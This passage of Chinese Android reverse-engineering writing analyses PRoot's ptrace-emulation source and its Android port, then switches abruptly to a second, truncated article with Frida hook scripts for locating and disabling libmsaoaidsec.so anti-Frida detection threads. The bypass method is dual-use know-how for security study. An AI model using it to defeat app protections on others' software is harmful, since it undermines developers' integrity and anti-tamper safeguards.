PR_futimesat: case PR_mknodat: dirfd = peek_reg(tracee, CURRENT, SYSARG_1); status = get_sysarg_path(tracee, path, SYSARG_2); if (status < 0) break ; status = translate_path2(tracee, dirfd, path, SYSARG_2, REGULAR); break ; case PR_inotify_add_watch: flags = peek_reg(tracee, CURRENT, SYSARG_3); if ((flags & IN_DONT_FOLLOW) != 0) status = translate_sysarg(tracee, SYSARG_2, SYMLINK); else status = translate_sysarg(tracee, SYSARG_2, REGULAR); break ; case PR_readlink: case PR_lchown: case PR_lchown32: case PR_lgetxattr: case PR_llistxattr: case PR_lremovexattr: case PR_lsetxattr: case PR_lstat: case PR_lstat64: case PR_oldlstat: case PR_unlink: case PR_rmdir: case PR_mkdir: status = translate_sysarg(tracee, SYSARG_1, SYMLINK); break ; case PR_pivot_root: status = translate_sysarg(tracee, SYSARG_1, REGULAR); if (status < 0) break ; status = translate_sysarg(tracee, SYSARG_2, REGULAR); break ; case PR_linkat: olddirfd = peek_reg(tracee, CURRENT, SYSARG_1); newdirfd = peek_reg(tracee, CURRENT, SYSARG_3); flags = peek_reg(tracee, CURRENT, SYSARG_5); status = get_sysarg_path(tracee, oldpath, SYSARG_2); if (status < 0) break ; status = get_sysarg_path(tracee, newpath, SYSARG_4); if (status < 0) break ; if ((flags & AT_SYMLINK_FOLLOW) != 0) status = translate_path2(tracee, olddirfd, oldpath, SYSARG_2, REGULAR); else status = translate_path2(tracee, olddirfd, oldpath, SYSARG_2, SYMLINK); if (status < 0) break ; status = translate_path2(tracee, newdirfd, newpath, SYSARG_4, SYMLINK); break ; case PR_mount: status = get_sysarg_path(tracee, path, SYSARG_1); if (status < 0) break ; /* The following check covers only 90% of the cases. */ if (path[0] == \'/\' || path[0] == \'.\' ) { status = translate_path2(tracee, AT_FDCWD, path, SYSARG_1, REGULAR); if (status < 0) break ; } status = translate_sysarg(tracee, SYSARG_2, REGULAR); break ; case PR_openat: dirfd = peek_reg(tracee, CURRENT, SYSARG_1); flags = peek_reg(tracee, CURRENT, SYSARG_3); status = get_sysarg_path(tracee, path, SYSARG_2); if (status < 0) break ; if ( ((flags & O_NOFOLLOW) != 0) || ((flags & O_EXCL) != 0 && (flags & O_CREAT) != 0)) status = translate_path2(tracee, dirfd, path, SYSARG_2, SYMLINK); else status = translate_path2(tracee, dirfd, path, SYSARG_2, REGULAR); break ; case PR_readlinkat: case PR_unlinkat: case PR_mkdirat: dirfd = peek_reg(tracee, CURRENT, SYSARG_1); status = get_sysarg_path(tracee, path, SYSARG_2); if (status < 0) break ; status = translate_path2(tracee, dirfd, path, SYSARG_2, SYMLINK); break ; case PR_link: case PR_rename: status = translate_sysarg(tracee, SYSARG_1, SYMLINK); if (status < 0) break ; status = translate_sysarg(tracee, SYSARG_2, SYMLINK); break ; case PR_renameat: olddirfd = peek_reg(tracee, CURRENT, SYSARG_1); newdirfd = peek_reg(tracee, CURRENT, SYSARG_3); status = get_sysarg_path(tracee, oldpath, SYSARG_2); if (status < 0) break ; status = get_sysarg_path(tracee, newpath, SYSARG_4); if (status < 0) break ; status = translate_path2(tracee, olddirfd, oldpath, SYSARG_2, SYMLINK); if (status < 0) break ; status = translate_path2(tracee, newdirfd, newpath, SYSARG_4, SYMLINK); break ; case PR_symlink: status = translate_sysarg(tracee, SYSARG_2, SYMLINK); break ; case PR_symlinkat: newdirfd = peek_reg(tracee, CURRENT, SYSARG_2); status = get_sysarg_path(tracee, newpath, SYSARG_3); if (status < 0) break ; status = translate_path2(tracee, newdirfd, newpath, SYSARG_3, SYMLINK); break ; } end: status2 = notify_extensions(tracee, SYSCALL_ENTER_END, status, 0); if (status2 < 0) status = status2; return status; } |
这里就对 syscall的函数进行的修改
\\n到这里 就基本搞清楚 proot的实现流程 与我们实现的小 demo 是基本差不多的(假的)
\\n先进行小小的整理一下:
\\n分主进程 与 子进程, proot 对子进程进行 attach 主进程来对 信号进行处理 以及仿真
\\n设置 seccomp 对 ptrace的速度进行优化
\\n那我们接下来 对 proot进行移植到安卓上!
\\n这里使用的环境: Uabntu 22 android Studio Clion
\\n\\n我首先按照教程 ,在clion上实现 然后照猫画虎 移植到 android
\\ncmakelist:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 | # For more information about using CMake with Android Studio, read the # documentation: eacK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1i4K6u0W2j5h3&6V1M7X3!0A6k6q4)9J5k6h3y4G2L8g2)9J5c8Y4y4@1N6h3c8A6L8#2)9J5c8Y4m8J5L8$3A6W2j5%4c8K6i4K6u0r3j5h3c8V1i4K6u0V1L8X3q4@1K9i4k6W2i4K6u0V1j5$3!0V1k6g2)9J5k6h3S2@1L8h3I4Q4x3X3f1`. # For more examples on how to use CMake, see 9e4K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6S2L8X3c8J5L8$3W2V1i4K6u0r3L8X3c8C8i4K6u0V1M7$3q4E0M7r3I4W2M7#2)9J5k6b7`.`. # Sets the minimum CMake version required for this project. cmake_minimum_required(VERSION 3.22 . 1 ) # Declares the project name. The project name can be accessed via ${ PROJECT_NAME}, # Since this is the top level CMakeLists.txt, the project name is also accessible # with ${CMAKE_PROJECT_NAME} (both CMake variables are in-sync within the top level # build script scope). project( \\"proot_demo\\" ) enable_language(C ASM) #设置支持的语言,C 和 ASM(内联汇编) #add_definitions(-DHAVE_SECCOMP_FILTER) add_definitions( - D_GNU_SOURCE) include_directories( proot / src / proot / src / cli proot / src / execve proot / src / extension # proot/src/root/extension/care proot / src / extension / portmap proot / src / extension / python proot / src / loader proot / src / path proot / src / ptrace proot / src / syscall proot / src / tracee proot / src / lib / uthash / include / uthash / src # talloc include talloc / talloc / lib / replace / # talloc/lib/replace/test/ talloc / bin / default / ) # Creates and names a library, sets it as either STATIC # or SHARED, and provides the relative paths to its source code. # You can define multiple libraries, and CMake builds them for you. # Gradle automatically packages shared libraries with your APK. # # In this top level CMakeLists.txt, ${CMAKE_PROJECT_NAME} is used to define # the target library name; in the sub-module\'s CMakeLists.txt, ${PROJECT_NAME} # is preferred for the same purpose. # # In order to load a library into your app from Java/Kotlin, you must call # System.loadLibrary() and pass the name of the library defined here; # for GameActivity/NativeActivity derived applications, the same library name must be # used in the AndroidManifest.xml file. add_library(${CMAKE_PROJECT_NAME} SHARED # List C/C++ source files with relative paths to this CMakeLists.txt. proot / src / cli / cli.c proot / src / cli / proot.c proot / src / cli / note.c proot / src / execve / enter.c proot / src / execve / exit.c proot / src / execve / shebang.c proot / src / execve / elf.c proot / src / execve / ldso.c proot / src / execve / auxv.c proot / src / execve / aoxp.c proot / src / path / binding.c proot / src / path / glue.c proot / src / path / canon.c proot / src / path / path.c proot / src / path / proc.c proot / src / path / temp.c proot / src / syscall / seccomp.c proot / src / syscall / syscall.c proot / src / syscall / chain.c proot / src / syscall / enter.c proot / src / syscall / exit.c proot / src / syscall / sysnum.c proot / src / syscall / socket.c proot / src / syscall / heap.c proot / src / syscall / rlimit.c proot / src / tracee / tracee.c proot / src / tracee / mem.c proot / src / tracee / reg.c proot / src / tracee / event.c proot / src / ptrace / ptrace.c proot / src / ptrace / user.c proot / src / ptrace / wait.c proot / src / extension / extension.c proot / src / extension / kompat / kompat.c proot / src / extension / fake_id0 / fake_id0.c proot / src / extension / link2symlink / link2symlink.c proot / src / extension / portmap / portmap.c proot / src / extension / portmap / map .c proot / src / loader / loader.c talloc / lib / replace / cwrap.c talloc / lib / replace / replace.c talloc / talloc.c native - lib.cpp) # Specifies libraries CMake should link to your target library. You # can link libraries from various origins, such as libraries defined in this # build script, prebuilt third-party libraries, or Android system libraries. target_link_libraries(${CMAKE_PROJECT_NAME} # List libraries link to the target library archive android log) add_subdirectory(libarchive) |
依赖文件 就按照 官网的把源代码下载下来。
\\n后面我的github 会上传源码 这里就完成了proot的移植了(这里我在linux 上 编译arm64成功)
\\n\\n对于子进程干了那些事?
\\n声明可跟踪性:通过 ptrace(PTRACE_TRACEME) 将当前进程标记为可被跟踪。
\\n同步状态:通过 SIGSTOP 暂停自身,确保 tracer 能够捕获初始状态。
\\n性能优化:启用 seccomp 模式(如果未禁用)。
\\n执行目标程序:调用 execvp 替换当前进程为目标程序。
\\n我们主要的侧重点 应该放在 event_loop()这个循环里面干的事!
\\n这个event_loop() 到底干了什么:
\\n1 | 把退出的进程 干掉! |
1 | 每次都要proot需要的信号 配置上 - - - - 万一被覆盖了呢? 确保程序在接收到特定信号时能够正确处理,防止进程失控或资源泄漏。 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | 释放已终止的进程:调用 free_terminated_tracees() 安全地释放已终止的进程资源。 等待下一个进程停止:使用 waitpid( - 1 , &tracee_status, __WALL) 等待任意子进程的状态变化。__WALL 标志确保捕获所有子进程的事件。 获取进程信息:通过 get_tracee(NULL, pid, true) 获取当前停止的进程信息,并确保其存在。 日志记录:记录详细的调试信息,帮助追踪事件处理过程。 通知扩展:调用 notify_extensions 通知扩展模块新状态,允许扩展模块进行自定义处理。 处理 ptrace 事件:如果进程正在被 ptrace 跟踪,调用 handle_ptracee_event 处理特定的 ptrace 事件。 处理通用事件:调用 handle_tracee_event 处理通用的进程事件,并确定如何重启进程。 重启进程:根据计算出的信号值调用 restart_tracee 重新启动进程。 |
在主事件循环 中,就设计到 处理 进程的syscall调用,以及对ptrace的仿真。
\\n下面对他进行 模块化分析 方便后续满足自己项目的需要
\\n设想一个ptrace函数触发
\\n那么会出现在 event_loop() 的这个部分进行判断
\\n1 2 3 4 5 6 7 8 | if (tracee->as_ptracee.ptracer != NULL) { bool keep_stopped = handle_ptracee_event(tracee, tracee_status); if (keep_stopped) continue ; } signal = handle_tracee_event(tracee, tracee_status); ( void ) restart_tracee(tracee, signal ); |
会判断这里是不是有tracee->as_ptracee.ptracer 存在
\\n那么一开始 在前面 我也没看到对这个设置的代码 猜测 在系统调用的处理handle_tracee_event
\\n首先会调用 translate_syscall_enter 这个函数
\\n确实存在对ptrace的处理
\\n1 2 3 | case PR_ptrace: status = translate_ptrace_enter(tracee); break ; |
后面的处理
\\n1 2 3 4 5 6 | int translate_ptrace_enter(Tracee *tracee) { /* The ptrace syscall have to be emulated since it can\'t be nested. */ set_sysnum(tracee, PR_void); return 0; } |
处理就是将ptrace的 中断调用号变成 0 ? 大概就是设置成无效吧
\\n当然 这是处理前
\\n还有函数调用后呢
\\ntranslate_syscall_exit(Tracee *tracee) 呐,这个就是了
\\n1 2 3 | case PR_ptrace: status = translate_ptrace_exit(tracee); break ; |
跟进translate_ptrace_exit
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 | int translate_ptrace_exit(Tracee *tracee) { word_t request, pid, address, data, result; Tracee *ptracee, *ptracer; int forced_signal = -1; int signal ; int status; /* Read ptrace parameters. */ request = peek_reg(tracee, ORIGINAL, SYSARG_1); pid = peek_reg(tracee, ORIGINAL, SYSARG_2); address = peek_reg(tracee, ORIGINAL, SYSARG_3); data = peek_reg(tracee, ORIGINAL, SYSARG_4); /* Propagate signedness for this special value. */ if (is_32on64_mode(tracee) && pid == 0xFFFFFFFF) pid = (word_t) -1; /* The TRACEME request is the only one used by a tracee. */ if (request == PTRACE_TRACEME) { ptracer = tracee->parent; ptracee = tracee; /* The emulated ptrace in PRoot has the same * limitation as the real ptrace in the Linux kernel: * only one tracer per process. */ if (PTRACEE.ptracer != NULL || ptracee == ptracer) return -EPERM; attach_to_ptracer(ptracee, ptracer); /* Detect when the ptracer has gone to wait before the * ptracee did the ptrace(ATTACHME) request. */ if (PTRACER.waits_in == WAITS_IN_KERNEL) { status = kill(ptracer->pid, SIGSTOP); if (status < 0) note(tracee, WARNING, INTERNAL, \\"can\'t wake ptracer %d\\" , ptracer->pid); else { ptracer->sigstop = SIGSTOP_IGNORED; PTRACER.waits_in = WAITS_IN_PROOT; } } /* Disable seccomp acceleration for this tracee and * all its children since we can\'t assume what are the * syscalls its tracer is interested with. */ if (tracee->seccomp == ENABLED) tracee->seccomp = DISABLING; return 0; } /* The ATTACH, SEIZE, and INTERRUPT requests are the only ones * where the ptracee is in an unknown state. */ if (request == PTRACE_ATTACH) { ptracer = tracee; ptracee = get_tracee(ptracer, pid, false ); if (ptracee == NULL) return -ESRCH; /* The emulated ptrace in PRoot has the same * limitation as the real ptrace in the Linux kernel: * only one tracer per process. */ if (PTRACEE.ptracer != NULL || ptracee == ptracer) return -EPERM; attach_to_ptracer(ptracee, ptracer); /* The tracee is sent a SIGSTOP, but will not * necessarily have stopped by the completion of this * call. * * -- man 2 ptrace. */ kill(pid, SIGSTOP); return 0; } /* Here, the tracee is a ptracer. Also, the requested ptracee * has to be in the \\"stopped for ptracer\\" state. */ ptracer = tracee; ptracee = get_stopped_ptracee(ptracer, pid, false , __WALL); if (ptracee == NULL) { static bool warned = false ; /* Ensure we didn\'t get there only because inheritance * mechanism has missed this one. */ ptracee = get_tracee(tracee, pid, false ); if (ptracee != NULL && ptracee->exe == NULL && !warned) { warned = true ; note(ptracer, WARNING, INTERNAL, \\"ptrace request to an unexpected ptracee\\" ); } return -ESRCH; } /* Sanity checks. */ if ( PTRACEE.is_zombie || PTRACEE.ptracer != ptracer || pid == (word_t) -1) return -ESRCH; switch (request) { case PTRACE_SYSCALL: PTRACEE.ignore_syscalls = false ; forced_signal = ( int ) data; status = 0; break ; /* Restart the ptracee. */ case PTRACE_CONT: PTRACEE.ignore_syscalls = true ; forced_signal = ( int ) data; status = 0; break ; /* Restart the ptracee. */ case PTRACE_SINGLESTEP: ptracee->restart_how = PTRACE_SINGLESTEP; forced_signal = ( int ) data; status = 0; break ; /* Restart the ptracee. */ case PTRACE_SINGLEBLOCK: ptracee->restart_how = PTRACE_SINGLEBLOCK; forced_signal = ( int ) data; status = 0; break ; /* Restart the ptracee. */ case PTRACE_DETACH: detach_from_ptracer(ptracee); status = 0; break ; /* Restart the ptracee. */ case PTRACE_KILL: status = ptrace(request, pid, NULL, NULL); break ; /* Restart the ptracee. */ case PTRACE_SETOPTIONS: if (data & PTRACE_O_TRACESECCOMP) { /* We don\'t really support forwarding seccomp traps */ note(ptracer, WARNING, INTERNAL, \\"ptrace option PTRACE_O_TRACESECCOMP \\" \\"not supported yet\\" ); return -EINVAL; } PTRACEE.options = data; return 0; /* Don\'t restart the ptracee. */ case PTRACE_GETEVENTMSG: { status = ptrace(request, pid, NULL, &result); if (status < 0) return - errno ; poke_word(ptracer, data, result); if ( errno != 0) return - errno ; return 0; /* Don\'t restart the ptracee. */ } case PTRACE_PEEKUSER: if (is_32on64_mode(ptracer)) { address = convert_user_offset(address); if (address == (word_t) -1) return -EIO; } /* Fall through. */ case PTRACE_PEEKTEXT: case PTRACE_PEEKDATA: errno = 0; result = (word_t) ptrace(request, pid, address, NULL); if ( errno != 0) return - errno ; poke_word(ptracer, data, result); if ( errno != 0) return - errno ; return 0; /* Don\'t restart the ptracee. */ case PTRACE_POKEUSER: if (is_32on64_mode(ptracer)) { address = convert_user_offset(address); if (address == (word_t) -1) return -EIO; } status = ptrace(request, pid, address, data); if (status < 0) return - errno ; return 0; /* Don\'t restart the ptracee. */ case PTRACE_POKETEXT: case PTRACE_POKEDATA: if (is_32on64_mode(ptracer)) { word_t tmp; errno = 0; tmp = (word_t) ptrace(PTRACE_PEEKDATA, ptracee->pid, address, NULL); if ( errno != 0) return - errno ; data |= (tmp & 0xFFFFFFFF00000000ULL); } status = ptrace(request, pid, address, data); if (status < 0) return - errno ; return 0; /* Don\'t restart the ptracee. */ case PTRACE_GETSIGINFO: { siginfo_t siginfo; status = ptrace(request, pid, NULL, &siginfo); if (status < 0) return - errno ; status = write_data(ptracer, data, &siginfo, sizeof (siginfo)); if (status < 0) return status; return 0; /* Don\'t restart the ptracee. */ } case PTRACE_SETSIGINFO: { siginfo_t siginfo; status = read_data(ptracer, &siginfo, data, sizeof (siginfo)); if (status < 0) return status; status = ptrace(request, pid, NULL, &siginfo); if (status < 0) return - errno ; return 0; /* Don\'t restart the ptracee. */ } case PTRACE_GETREGS: { size_t size; union { struct user_regs_struct regs; uint32_t regs32[USER32_NB_REGS]; } buffer; status = ptrace(request, pid, NULL, &buffer); if (status < 0) return - errno ; if (is_32on64_mode(tracee)) { struct user_regs_struct regs64; memcpy (®s64, &buffer.regs, sizeof ( struct user_regs_struct)); convert_user_regs_struct( false , (uint64_t *) ®s64, buffer.regs32); size = sizeof (buffer.regs32); } else size = sizeof (buffer.regs); status = write_data(ptracer, data, &buffer, size); if (status < 0) return status; return 0; /* Don\'t restart the ptracee. */ } case PTRACE_SETREGS: { size_t size; union { struct user_regs_struct regs; uint32_t regs32[USER32_NB_REGS]; } buffer; size = (is_32on64_mode(ptracer) ? sizeof (buffer.regs32) : sizeof (buffer.regs)); status = read_data(ptracer, &buffer, data, size); if (status < 0) return status; if (is_32on64_mode(ptracer)) { uint32_t regs32[USER32_NB_REGS]; memcpy (regs32, buffer.regs32, sizeof (regs32)); convert_user_regs_struct( true , (uint64_t *) &buffer.regs, regs32); } status = ptrace(request, pid, NULL, &buffer); if (status < 0) return - errno ; return 0; /* Don\'t restart the ptracee. */ } case PTRACE_GETFPREGS: { size_t size; union { struct user_fpregs_struct fpregs; uint32_t fpregs32[USER32_NB_FPREGS]; } buffer; status = ptrace(request, pid, NULL, &buffer); if (status < 0) return - errno ; if (is_32on64_mode(tracee)) { #if 0 /* TODO */ struct user_fpregs_struct fpregs64; memcpy (&fpregs64, &buffer.fpregs, sizeof ( struct user_fpregs_struct)); convert_user_fpregs_struct( false , (uint64_t *) &fpregs64, buffer.fpregs32); #else static bool warned = false ; if (!warned) note(ptracer, WARNING, INTERNAL, \\"ptrace 32-bit request \'%s\' not supported on 64-bit yet\\" , stringify_ptrace(request)); warned = true ; bzero(&buffer, sizeof (buffer)); #endif size = sizeof (buffer.fpregs32); } else size = sizeof (buffer.fpregs); status = write_data(ptracer, data, &buffer, size); if (status < 0) return status; return 0; /* Don\'t restart the ptracee. */ } case PTRACE_SETFPREGS: { size_t size; union { struct user_fpregs_struct fpregs; uint32_t fpregs32[USER32_NB_FPREGS]; } buffer; size = (is_32on64_mode(ptracer) ? sizeof (buffer.fpregs32) : sizeof (buffer.fpregs)); status = read_data(ptracer, &buffer, data, size); if (status < 0) return status; if (is_32on64_mode(ptracer)) { #if 0 /* TODO */ uint32_t fpregs32[USER32_NB_FPREGS]; memcpy (fpregs32, buffer.fpregs32, sizeof (fpregs32)); convert_user_fpregs_struct( true , (uint64_t *) &buffer.fpregs, fpregs32); #else static bool warned = false ; if (!warned) note(ptracer, WARNING, INTERNAL, \\"ptrace 32-bit request \'%s\' not supported on 64-bit yet\\" , stringify_ptrace(request)); warned = true ; return -ENOTSUP; #endif } status = ptrace(request, pid, NULL, &buffer); if (status < 0) return - errno ; return 0; /* Don\'t restart the ptracee. */ } #if defined(ARCH_X86_64) || defined(ARCH_X86) case PTRACE_GET_THREAD_AREA: { struct user_desc user_desc; status = ptrace(request, pid, address, &user_desc); if (status < 0) return - errno ; status = write_data(ptracer, data, &user_desc, sizeof (user_desc)); if (status < 0) return status; return 0; /* Don\'t restart the ptracee. */ } case PTRACE_SET_THREAD_AREA: { struct user_desc user_desc; status = read_data(ptracer, &user_desc, data, sizeof (user_desc)); if (status < 0) return status; status = ptrace(request, pid, address, &user_desc); if (status < 0) return - errno ; return 0; /* Don\'t restart the ptracee. */ } #endif case PTRACE_GETREGSET: { struct iovec local_iovec; word_t remote_iovec_base; word_t remote_iovec_len; remote_iovec_base = peek_word(ptracer, data); if ( errno != 0) return - errno ; remote_iovec_len = peek_word(ptracer, data + sizeof_word(ptracer)); if ( errno != 0) return - errno ; /* Sanity check. */ assert ( sizeof (local_iovec.iov_len) == sizeof (word_t)); local_iovec.iov_len = remote_iovec_len; local_iovec.iov_base = talloc_zero_size(ptracer->ctx, remote_iovec_len); if (local_iovec.iov_base == NULL) return -ENOMEM; status = ptrace(PTRACE_GETREGSET, pid, address, &local_iovec); if (status < 0) return status; remote_iovec_len = local_iovec.iov_len = MIN(remote_iovec_len, local_iovec.iov_len); /* Update remote vector content. */ status = writev_data(ptracer, remote_iovec_base, &local_iovec, 1); if (status < 0) return status; /* Update remote vector length. */ poke_word(ptracer, data + sizeof_word(ptracer), remote_iovec_len); if ( errno != 0) return - errno ; return 0; /* Don\'t restart the ptracee. */ } case PTRACE_SETREGSET: { struct iovec local_iovec; word_t remote_iovec_base; word_t remote_iovec_len; remote_iovec_base = peek_word(ptracer, data); if ( errno != 0) return - errno ; remote_iovec_len = peek_word(ptracer, data + sizeof_word(ptracer)); if ( errno != 0) return - errno ; /* Sanity check. */ assert ( sizeof (local_iovec.iov_len) == sizeof (word_t)); local_iovec.iov_len = remote_iovec_len; local_iovec.iov_base = talloc_zero_size(ptracer->ctx, remote_iovec_len); if (local_iovec.iov_base == NULL) return -ENOMEM; /* Copy remote content into the local vector. */ status = read_data(ptracer, local_iovec.iov_base, remote_iovec_base, local_iovec.iov_len); if (status < 0) return status; status = ptrace(PTRACE_SETREGSET, pid, address, &local_iovec); if (status < 0) return status; return 0; /* Don\'t restart the ptracee. */ } case PTRACE_GETVFPREGS: case PTRACE_GETFPXREGS: { static bool warned = false ; if (!warned) note(ptracer, WARNING, INTERNAL, \\"ptrace request \'%s\' not supported yet\\" , stringify_ptrace(request)); warned = true ; return -ENOTSUP; } #if defined(ARCH_X86_64) case PTRACE_ARCH_PRCTL: switch (data) { case ARCH_GET_GS: case ARCH_GET_FS: status = ptrace(request, pid, &result, data); if (status < 0) return - errno ; poke_word(ptracer, address, result); if ( errno != 0) return - errno ; break ; case ARCH_SET_GS: case ARCH_SET_FS: { static bool warned = false ; if (!warned) note(ptracer, WARNING, INTERNAL, \\"ptrace request \'%s\' ARCH_SET_{G,F}S not supported yet\\" , stringify_ptrace(request)); return -ENOTSUP; } default : return -ENOTSUP; } return 0; /* Don\'t restart the ptracee. */ #endif case PTRACE_SET_SYSCALL: status = ptrace(request, pid, address, data); if (status < 0) return - errno ; return 0; /* Don\'t restart the ptracee. */ default : note(ptracer, WARNING, INTERNAL, \\"ptrace request \'%s\' not supported yet\\" , stringify_ptrace(request)); return -ENOTSUP; } /* Now, the initial tracee\'s event can be handled. */ signal = PTRACEE.event4.proot.pending ? handle_tracee_event(ptracee, PTRACEE.event4.proot.value) : PTRACEE.event4.proot.value; /* The restarting signal from the ptracer overrides the * restarting signal from PRoot. */ if (forced_signal != -1) signal = forced_signal; ( void ) restart_tracee(ptracee, signal ); return status; } |
这段代码就非常长了 ,显然就是在模拟ptrace了
\\n这里确实与之前 猜测的一样
\\n1 | attach_to_ptracer(ptracee, ptracer); |
这个代码 就设置 上了as_ptracee.ptracer 就对上了 event_loop
\\n1 2 3 4 5 | if (tracee->as_ptracee.ptracer != NULL) { bool keep_stopped = handle_ptracee_event(tracee, tracee_status); if (keep_stopped) continue ; } |
这里就可以 进入 handle_ptracee_event
\\n这个函数也是处理ptrace的事件 只不过 是proot仿真的 仅对我们跟踪的函数有效
\\n到这里 proot 对ptrace 的仿真就到这里了
\\n说白了 自己维护一个假的ptrace 给 子进程用 。
\\n我打算将proot 能用的部分拆分下来 供自己实现项目 奈何功力不足 但是柳暗花明又一村,我发现我之前看不懂的abyss项目的 demo代码 就是 魔改的proot ,天助我也。
\\n\\n发现差不多的 在循环部分 处理好tracee 进行 attach 其他地方差不多的
\\n到这里就是 我对proot理论部分的学习了 接下来 开始 自己 的 svc hook框架搭建
\\n上面的代码分析仅仅是我个人的观点,难免会有疏漏之处。望大佬勿喷,但欢迎指正。
\\nhttps://bbs.kanxue.com/thread-275511.htm
\\nhttps://bbs.kanxue.com/thread-273160.htm
\\n\\n\\n\\n\\n当前许多应用通过集成 libmsaoaidsec.so
实现针对 Frida 的反调试机制,其核心逻辑是在应用启动过程中,当加载 libmsaoaidsec.so
动态库时,会通过 pthread_create()
创建独立线程,并在该线程内执行反调试函数,主动扫描 Frida 进程、端口、内存特征等痕迹。若检测到 Frida 存在,则触发进程终止或崩溃。
针对这种机制的绕过思路可以从破坏反调试线程的加载或执行入手,文章会对不同的app进行测试,对于使用libmsaoaidsec.so来进行反调试的app,思路是一样的。
通过hook dlopen()函数根据最后加载的so文件来确定程序是在加载哪个so之后退出的
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | function hook_dlopen(){ / / Android8. 0 之后加载so通过android_dlopen_ext函数 var android_dlopen_ext = Module.findExportByName(null, \\"android_dlopen_ext\\" ); console.log( \\"addr_android_dlopen_ext\\" ,android_dlopen_ext); Interceptor.attach(android_dlopen_ext,{ onEnter:function(args){ var pathptr = args[ 0 ]; if (pathptr! = null && pathptr ! = undefined){ var path = ptr(pathptr).readCString(); console.log( \\"android_dlopen_ext:\\" ,path); } }, onLeave:function(retvel){ console.log( \\"leave!\\" ); } }) } hook_dlopen() |
如下,可以看到加载完libmsaoaidsec.so之后程序就退出了。
接下来我们找一个时机,就是在加载libmsaoaidsec.so的时候打印它里面创建的线程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | function hook_dlopen(){ var android_dlopen_ext = Module.findExportByName(null, \\"android_dlopen_ext\\" ); console.log( \\"addr_android_dlopen_ext\\" ,android_dlopen_ext); Interceptor.attach(android_dlopen_ext,{ onEnter:function(args){ var pathptr = args[ 0 ]; if (pathptr! = null && pathptr ! = undefined){ var path = ptr(pathptr).readCString(); if (path.indexOf( \\"libmsaoaidsec.so\\" )! = - 1 ){ console.log( \\"android_dlopen_ext:\\" ,path); hook_pthread() } } }, onLeave:function(retvel){ } }) } function hook_pthread() { var pth_create = Module.findExportByName( \\"libc.so\\" , \\"pthread_create\\" ); console.log( \\"[pth_create]\\" , pth_create); Interceptor.attach(pth_create, { onEnter: function (args) { var module = Process.findModuleByAddress(args[ 2 ]); if (module ! = null) { console.log( \\"address\\" , module.name, args[ 2 ].sub(module.base)); } }, onLeave: function (retval) {} }); } function main(){ hook_dlopen() } main() |
如下看打印结果,有兴趣的小伙伴可以利用IDA反编译libmsaoaidsec.so跳转到这些地址去看这些函数都干了什么事情
现在已经知道了是哪些函数来检测的frida,然后一个很重要的事情就是找到一个时机去把这几个函数都替换掉或者nop掉。
如果去IDA里分析的话,跳转到这几个函数的地址,通过交叉引用查看他们的上一级函数,会发现最终他们都会聚集到init_proc
函数里,这是一个初始化函数,在so加载时会自动被调用,而且是so加载过程中最先执行的函数,那么就要找一个比init_proc
函数执行更早的一个时机来把检测frida的函数替换掉或者nop掉。
在so文件的链接过程中linker里的call_constructors()
函数会触发构造函数,对初始化函数进行注册,然后执行初始化函数,注册的初始化函数会放在.init_array
函数列表里,可以在调用call_constructors()
函数的时候动态替换so文件里检测frida的函数的地址,使它指向自定义的空函数。
替换函数
